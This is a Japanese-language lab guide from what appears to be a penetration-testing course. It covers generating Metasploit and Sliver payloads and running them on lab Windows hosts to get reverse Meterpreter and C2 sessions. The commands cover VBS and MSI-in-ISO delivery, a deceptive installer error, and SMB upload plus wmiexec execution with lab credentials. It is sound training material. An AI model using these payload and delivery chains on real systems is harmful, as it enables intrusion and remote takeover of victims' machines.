Skip to content

Lab 2.4: Payloads

オンライン演習

接続: この演習では、クラス内ネットワーク(560A VPN経由)に接続している必要があります

目的

  • MSFVenomとMetasploitで利用可能なペイロードオプションを理解する
  • 複数の接続を受信するためのMetasploit multi/handlerをセットアップする
  • 複数のMetasploit/MSFVenomペイロードを生成する
  • Sliverを使用してペイロードを生成し、リモートシステムで実行する

演習ビデオ

演習のセットアップ

使用するVM:

  • Linux
  • Windows 11

Linux VMから10.130.10.25にpingできることを確認してください:

コマンド

ping -c 4 10.130.10.25

想定される結果

sec560@560vm:~$ ping -c 4 10.130.10.25
PING 10.130.10.25 (10.130.10.25) 56(84) bytes of data.
64 bytes from 10.130.10.25: icmp_seq=1 ttl=127 time=75.1 ms
64 bytes from 10.130.10.25: icmp_seq=2 ttl=127 time=76.7 ms
64 bytes from 10.130.10.25: icmp_seq=3 ttl=127 time=81.0 ms
64 bytes from 10.130.10.25: icmp_seq=4 ttl=127 time=75.6 ms

--- 10.130.10.25 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 75.109/77.108/81.021/2.330 ms

演習 – 段階的な手順

1: 接続を受信するためのMetasploitのセットアップ

まず、ペイロードからの接続を受信するためにMetasploitをセットアップする必要があります。msfconsoleを実行してMetasploitを起動します。

コマンド

msfconsole

Metasploitでは、接続を受信するためにmulti/handler「エクスプロイト」を使用します。Multi Handlerはエクスプロイトではなく、Metasploitの外部でペイロードを起動する予定であり、接続を受信する準備をする必要があることをMetasploitに伝えるだけです。handlerを使用しましょう。

コマンド

use exploit/multi/handler

想定される結果

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >

Metasploitがデフォルトのペイロードとしてgeneric/shell_reverse_tcpを選択したことに注意してください。これは理想的なペイロードではないため、Meterpreterに変更しましょう。

コマンド

set PAYLOAD windows/meterpreter/reverse_http

想定される結果

msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) >

このエクスプロイトとペイロードで利用可能なオプションを見てみましょう。

コマンド

show options

想定される結果

msf6 exploit(multi/handler) > show options 

Payload options (windows/meterpreter/reverse_http):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     eth0             yes       The local listener hostname
LPORT     3333             yes       The local listener port
LURI                       no        The HTTP Path


Exploit target:

Id  Name
--  ----
0   Wildcard Target



View the full module info with the info, or info -d command.

ダミーエクスプロイトにはオプションがないことに注意してください。ペイロードについては、ポートとホストを設定する必要があります。LHOSTeth0に、LPORT3333に変更しましょう。

コマンド

set LHOST eth0
set LPORT 3333

想定される結果

msf6 exploit(multi/handler) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/handler) > set LPORT 3333
LPORT => 3333

show optionsを再度実行して、設定が正しいことを確認します。

コマンド

show options

想定される結果

msf6 exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_http):

    Name      Current Setting  Required  Description
    ----      ---------------  --------  -----------
    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
    LHOST     192.168.211.128  yes       The local listener hostname
    LPORT     3333             yes       The local listener port
    LURI                       no        The HTTP Path

...trimmed for brevity...

eth0eth0インターフェースに関連付けられたIPアドレスに自動的に展開されることに注意してください。

リスナーを再起動する必要がないように、複数の接続を受信するようにリスナーをセットアップできます。これは、ExitOnSessionfalseに設定することで実行できます。

コマンド

set ExitOnSession false

想定される結果

msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false

リスナーをジョブとして(-j)起動し、新しい接続とやり取りしない(-z)ようにして起動しましょう。

コマンド

run -j -z

想定される結果

msf6 exploit(multi/handler) > run -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started HTTP reverse handler on http://192.168.211.128:3333

注: IPアドレスは異なります。

**Enter**キーを押すと、通常のMetasploitプロンプトに戻ります。

Metasploitは接続を受信する準備ができました。次にペイロードを作成しましょう。

2: MSFVenomを使用したMetasploitペイロード

このステップでは新しいターミナルを開いてください。Metasploitを実行し続ける必要があります。

msfvenomを使用して、ローカルのWindows VMで実行されるいくつかのペイロードを生成します。

まず、ペイロードの出力形式を見てみましょう。

コマンド

msfvenom --list formats

想定される結果

sec560@560vm:~$ msfvenom --list formats

Framework Executable Formats [--format <value>]
===============================================

    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
...truncated for brevity...

通常、Officeドキュメントに配置するVBAマクロを生成し、それをソーシャルエンジニアリングに使用しますが、Windows VMにはOfficeがインストールされていません。マクロの代わりに、マクロをシミュレートしてペイロードを起動するために使用するVBスクリプトを生成しましょう。

コマンド

msfvenom -p windows/meterpreter/reverse_http lhost=eth0 lport=3333 -f vbs | tee /tmp/payload.vbs

想定される結果

ec560@560vm:~$ msfvenom -p windows/meterpreter/reverse_http lhost=eth0 lport=3333 -f vbs | tee /tmp/payload.vbs
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 688 bytes
Final size of vbs file: 7435 bytes
Function oyewXFpWSrY(sXeupskyBvxbPfr)
    lOygzhBrBw = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
        "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
        sXeupskyBvxbPfr & "</B64DECODE>"
    Set YJQaBmiVIG = CreateObject("MSXML2.DOMDocument.3.0")
    YJQaBmiVIG.LoadXML(lOygzhBrBw)
    oyewXFpWSrY = YJQaBmiVIG.selectsinglenode("B64DECODE").nodeTypedValue
    set YJQaBmiVIG = nothing
End Function

Function nEwboSQawMor()
    PzrbCBAIuacFGKt = "TVqQAAMAAAAEAAAA//8AALg
...trimmed for brevity...

-oまたは--outオプションを使用して出力を直接ファイルに保存することもできましたが、teeを使用すると、ファイルが書き込まれる際にファイルの内容を確認できます。変数名と関数名が上記の内容とは異なることに注意してください。Metasploitは、フィンガープリントを困難にするために名前をランダム化します。

ファイルをWindowsにコピーしましょう。

3: VBSペイロードをWindowsにコピーして実行する

このステップでは新しいターミナルを開いてください。

/tmpディレクトリに移動し、Windowsからアクセスされるファイルを提供するPython Webサーバーを実行しましょう。

コマンド

cd /tmp
python3 -m http.server

想定される結果

sec560@560vm:~$ cd /tmp
sec560@560vm:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Windowsに切り替え、Windowsデスクトップの**Terminal**ショートカットを使用してPowerShellプロンプトを開きます。次に、以下のコマンドを実行します。

コマンド

注: LINUX_ETH0_ADDRESSをLinux VMのeth0インターフェースのIPアドレスに置き換える必要があります。

curl http://LINUX_ETH0_ADDRESS:8000/payload.vbs -o payload.vbs

想定される結果

PS C:\Users\sec560\Desktop> curl http://LINUX_ETH0_ADDRESS:8000/payload.vbs -o payload.vbs
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100  7451  100  7451    0     0   159k      0 --:--:-- --:--:-- --:--:--  161k

cscriptを使用してペイロードを起動しましょう。

コマンド

cscript payload.vbs

想定される結果

PS C:\Users\sec560> cscript .\payload.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

PowerShellターミナルはペイロードを実行しているためハングします。

Linux VM上のMetasploitターミナルに切り替えます。新しいセッションが表示されるはずです。

想定される結果

[*] http://192.168.211.128:3333 handling request from 192.168.211.138; (UUID: uqaqs6nc) Staging x86 payload (177244 bytes) ...
[*] Meterpreter session 1 opened (192.168.211.128:3333 -> 192.168.211.138:30113) at 2024-08-15 00:20:21 +0000

VBScriptペイロードを使用して、WindowsホストでMeterpreterセッションが実行されています。**Enter**キーを押すと、通常のMetasploitプロンプトに戻ります(ただし、ステータスメッセージがプロンプトを上書きしただけなので、必要ありません)。まず、セッションとやり取りする必要があります。この例では、セッションIDは1です。セッションIDが異なる場合があります。その場合は、1の代わりに表示される番号を使用してください。

コマンド

sessions -i 1

想定される結果

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

sysinfoを実行して、セッションに関する基本情報を取得します。

コマンド

sysinfo

想定される結果

meterpreter > sysinfo
Computer        : SEC560-WINDOWS
OS              : Windows 11 (10.0 Build 26100).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

次に別のペイロードを使用するので、このセッションからexitしましょう。

コマンド

exit

想定される結果

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.211.138 - Meterpreter session 1 closed.  Reason: User exit
msf6 exploit(multi/handler) >

4: ISOファイル内のMSIペイロードの作成

msfvenomを実行したターミナルに切り替えます。MSIインストーラーファイルを生成しましょう。これらのファイルは、他のファイルタイプが無効になっている場合でも、実行が許可される場合があります。

コマンド

msfvenom -p windows/meterpreter/reverse_http LHOST=eth0 LPORT=3333 -f msi -o /tmp/setup.msi

想定される結果

sec560@560vm:~$ msfvenom -p windows/meterpreter/reverse_http LHOST=eth0 LPORT=3333 -f msi -o /tmp/setup.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 519 bytes
Final size of msi file: 159744 bytes
Saved as: /tmp/setup.msi

ISOファイルを作成するには、genisoimageツールを使用します。ディレクトリまたは1つ以上のファイルを指定できます。ISOファイル内でmsiファイルを使用します。

コマンド

genisoimage -o /tmp/installer.iso /tmp/setup.msi

想定される結果

sec560@slingshot:~$ genisoimage -o /tmp/installer.iso /tmp/setup.msi
I: -input-charset not specified, using utf-8 (detected in locale settings)
Total translation table size: 0
Total rockridge attributes bytes: 0
Total directory bytes: 0
Path table size(bytes): 10
Max brk space used 0
252 extents written (0 MB)

Windowsに切り替えて、ファイルをダウンロードして開きましょう。

5: ISOファイルとMSIファイルのダウンロードと開く

PowerShellプロンプトで、Desktopディレクトリに移動してから、ISOファイルをダウンロードします。

コマンド

注: LINUX_ETH0_ADDRESSをLinux VMのeth0インターフェースのIPアドレスに置き換える必要があります。

cd C:\Users\sec560\Desktop
curl http://LINUX_ETH0_ADDRESS:8000/installer.iso -o installer.iso

想定される結果

PS C:\Users\sec560\> cd C:\Users\sec560\Desktop
PS C:\Users\sec560\Desktop> curl http://LINUX_ETH0_ADDRESS:8000/installer.iso -o installer.iso
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100  504k  100  504k    0     0  11.8M      0 --:--:-- --:--:-- --:--:-- 12.0M

デスクトップにinstaller.isoが表示されます。ファイルをダブルクリックしてマウントします。次に、SETUP.MSIファイルをダブルクリックして実行します。

WindowsでISOファイルとMSIファイルを開く

ユーザーアカウント制御プロンプトで**はい**をクリックします。

インストーラーが実行されますが、エラーメッセージが表示されます。

There is a problem with this Windows Installer package. A script required for this install to complete could not be run. Contact your support personnel or package vendor.

このエラーメッセージは想定されています。これは、何も起こらなかったとユーザーに思わせるために使用されます。ただし、Metasploitに切り替えると、新しいMeterpreterセッションが開始されたことがわかります。

想定される結果

[*] http://192.168.211.128:3333 handling request from 192.168.211.138; (UUID: ssdxpyx6) Staging x86 payload (177244 bytes) ...
[*] Meterpreter session 2 opened (192.168.211.128:3333 -> 192.168.211.138:30159) at 2024-08-15 00:25:01 +00

ISOおよびMSIペイロードを使用して、WindowsホストでMeterpreterセッションが実行されています。必要に応じて、**Enter**キーを再度押して、通常のMetasploitプロンプトに戻ることができます。まず、セッションとやり取りする必要があります。この例では、セッションIDは2です。セッションIDが異なる場合があります。その場合は、2の代わりに表示される番号を使用してください。

コマンド

sessions -i 2

想定される結果

msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >

再度、sysinfoを実行して、このセッションに関する基本情報を取得します。

コマンド

sysinfo

想定される結果

meterpreter > sysinfo
Computer        : SEC560-WINDOWS
OS              : Windows 11 (10.0 Build 26100).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

次にSliverを使用します。したがって、MeterpreterとMetasploit自体の両方から終了します。

コマンド

exit
exit -y

想定される結果

meterpreter > exit
[*] Shutting down session: 2
[*] 192.168.211.138 - Meterpreter session 2 closed.  Reason: User exit
msf6 exploit(multi/handler) > exit -y

6: Sliverとペイロード

Sliverサーバーを起動します。

コマンド

sudo sliver-server

httpsを実行してリスナーを起動し、ポート443でリスナーをセットアップします。

コマンド

https

想定される結果

[server] sliver > https

[*] Starting HTTPS :443 listener ...

[*] Successfully started job #1

[server] sliver >

generateのオプションを見てみましょう。

コマンド

generate -h

想定される結果

[server] sliver > generate -h

Command: generate <options>
About: Generate a new sliver binary and saves the output to the cwd or a path specified with --save.

...trimmed for brevity...

++ Formats ++
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled with the --os and --format flags.

To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
    generate --mtls foo.example.com
    generate --os windows --arch 64bit --mtls foo.example.com

A Windows DLL can be generated with the following command:
    generate --format shared --mtls foo.example.com

To output a MacOS Mach-O executable file, the following command would be used
    generate --os mac --mtls foo.example.com

To output a Linux ELF executable file, the following command would be used:
    generate --os linux --mtls foo.example.com

...trimmed for brevity...

++ Formats ++セクションを見てください。Metasploitで利用できるような幅広い出力オプションがないことに注意してください。Sliverを使用する場合、通常、シェルコードをロードするには別のツールまたは方法が必要です。

ターゲット範囲内のホストの1つで実行するexeファイルを生成しましょう。--skip-symbolsオプションを使用してペイロード生成を高速化します。そうしないと、実行可能ファイルで使用される追加の回避と暗号化のため、ペイロードの生成に1分以上かかる場合があります。実際の環境では、このオプションを使用したくない場合があります。

コマンド

注: LINUX_TUN0_ADDRESSを、10.254.x.xで始まるLinux VMのtun0アドレスのIPアドレスに置き換えてください。

generate --os windows --arch 64bit --format shared --skip-symbols --http https://LINUX_TUN0_ADDRESS

想定される結果

[server] sliver > generate --os windows --arch 64bit --format shared --skip-symbols --http https://10.252.252.2

[*] Generating new windows/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 6s
[*] Implant saved to /home/sec560/ADEQUATE_HALIBUT.dll

注: ペイロード名はランダムに生成され、ここに表示されているADEQUATE_HALIBUT.dllとは異なります。

7: DLLのコピーと実行

このステップでは新しいターミナルを開いてください。

作成されたファイルはrootが所有しており、sec560ユーザーからアクセスできません。ls -lを使用してこれを確認しましょう。

コマンド

ls -l *.dll

想定される結果

sec560@560vm:~$ ls -l *.dll
-rwx------ 1 root root 11022336 Aug 15 18:27 ITCHY_COMMAND.dll

rwx(読み取り、書き込み、実行)権限は、ファイルの所有者であるrootにのみ適用されることに注意してください。通常のユーザーとしてファイルを操作できるように、ファイルの権限を変更しましょう。

コマンド

sudo chown sec560:sec560 *.dll
ls -l *.dll

想定される結果

sec560@560vm:~$ sudo chown sec560:sec560 *.dll
sec560@560vm:~$ ls -l *.dll
-rwx------ 1 sec560 sec560 11022336 Aug 15 18:27 ITCHY_COMMAND.dll

ファイルの所有者がsec560であることが確認できます。

Impacketフレームワークの2つのツールを使用します。560.4でツールについて詳しく説明しますが、今ツールを使用する必要があります。

まず、smbclient.pyを使用してファイルをサーバーにコピーします。c$共有を使用し、ファイルをアップロード(put)します。

コマンド

注: PAYLOAD_NAMEをSliverによって生成されたファイル名に置き換えてください。

smbclient.py hiboxy/bgreen:Password1@10.130.10.25
use c$
put PAYLOAD_NAME.dll
ls
exit

想定される結果

sec560@560vm:~$ smbclient.py hiboxy/bgreen:Password1@10.130.10.25
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use c$
# put ITCHY_COMMAND.dll
# ls
drw-rw-rw-          0  Wed Jul 10 04:59:10 2024 $Recycle.Bin
drw-rw-rw-          0  Wed Jul 10 04:59:10 2024 $WinREAgent
-rw-rw-rw-          0  Wed Jul 10 04:59:10 2024 $WINRE_BACKUP_PARTITION.MARKER
-rw-rw-rw-         31  Tue Aug 13 09:01:37 2024 BitlockerActiveMonitoringLogs
drw-rw-rw-          0  Wed Jul 10 04:59:10 2024 Boot
-rw-rw-rw-     440456  Wed Jul 10 04:49:27 2024 bootmgr
-rw-rw-rw-          1  Wed Jul 10 04:49:27 2024 BOOTNXT
drw-rw-rw-          0  Tue Aug 13 07:41:47 2024 Documents and Settings
-rw-rw-rw-      12288  Tue Aug 13 08:59:00 2024 DumpStack.log.tmp
drw-rw-rw-          0  Wed Jul 10 04:59:10 2024 EFI
drw-rw-rw-          0  Tue Aug 13 08:56:19 2024 ExchangeSetupLogs
drw-rw-rw-          0  Tue Aug 13 08:23:22 2024 inetpub
-rw-rw-rw-   11022336  Thu Aug 15 23:56:41 2024 ITCHY_COMMAND.dll
[...trimmed for brevity...]
# exit

リモートサーバーのドライブのルートにDLLファイルが表示されるはずです。

別のImpacketツールwmiexec.pyを使用してペイロードを実行しましょう。

コマンド

注: PAYLOAD_NAMEをSliverによって生成されたファイル名に置き換えてください。

wmiexec.py hiboxy/bgreen:Password1@10.130.10.25
regsvr32 PAYLOAD_NAME.dll

想定される結果

sec560@560vm:~$ wmiexec.py hiboxy/bgreen:Password1@10.130.10.25
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> regsvr32 PROPER_BASSINET.dll

サーバーからSliverにセッションが入ってくるのが確認できるはずです。

想定される結果

[*] Session 1698377a PROPER_BASSINET - 10.130.10.25:34340 (mail01) - windows/amd64 - Fri, 16 Aug 2024 00:02:53 UTC

ここでのセッションIDは1698377aですが、あなたのものは異なります。すべてのセッション間で一意である限り、最初の文字のみを使用する必要があります。最初の文字の重複の可能性を減らすために、最初の2文字を使用します。

セッションとやり取りしましょう。この例では、短縮されたセッションIDは16ですが、あなたのものは異なる可能性があります。

コマンド

注: 16をセッションIDの最初の文字に置き換えてください。

use 16

想定される結果

[server] sliver > use 16

[*] Active session PROPER_BASSINET (1698377a-4047-4afc-8cb5-51d04cc25313)

[server] sliver (PROPER_BASSINET) > 

infoを実行して、セッションに関する情報を取得します。表示される情報は、ここに示されているものとは異なります。

コマンド

info

想定される結果

[server] sliver (PROPER_BASSINET) > info

        Session ID: 1698377a-4047-4afc-8cb5-51d04cc25313
              Name: PROPER_BASSINET
          Hostname: mail01
              UUID: ec2f74e7-343d-bc60-1675-c092e300c59b
          Username: <err>
               UID: <err>
               GID: <err>
               PID: 4952
                OS: windows
           Version: Server 2016 build 20348 x86_64
            Locale: en-US
              Arch: amd64
         Active C2: https://10.254.252.4
    Remote Address: 10.130.10.25:34340
         Proxy URL: 
Reconnect Interval: 1m0s
     First Contact: Fri Aug 16 00:02:53 UTC 2024 (2m0s ago)
      Last Checkin: Fri Aug 16 00:04:51 UTC 2024 (2s ago)

クリーンアップするには、セッションから終了し、wmiexec.pyから**CTRL-C**で抜け、Sliverを完全に終了します。

この例では、DLLファイルを使用しました。DLLでregsvrを使用する代わりに、EXEファイルを生成して直接実行することも簡単にできました。

まとめ

MetasploitとSliverを使用して、さまざまなペイロードを生成しました。見たように、Metasploitとmsfvenomは多くのペイロードオプションを提供します。Sliverなどの他のC2フレームワークには、より限定されたセットがあり、ユーザーは一般的にC2フレームワークからのシェルコードを使用して独自のペイロードを生成する必要があります。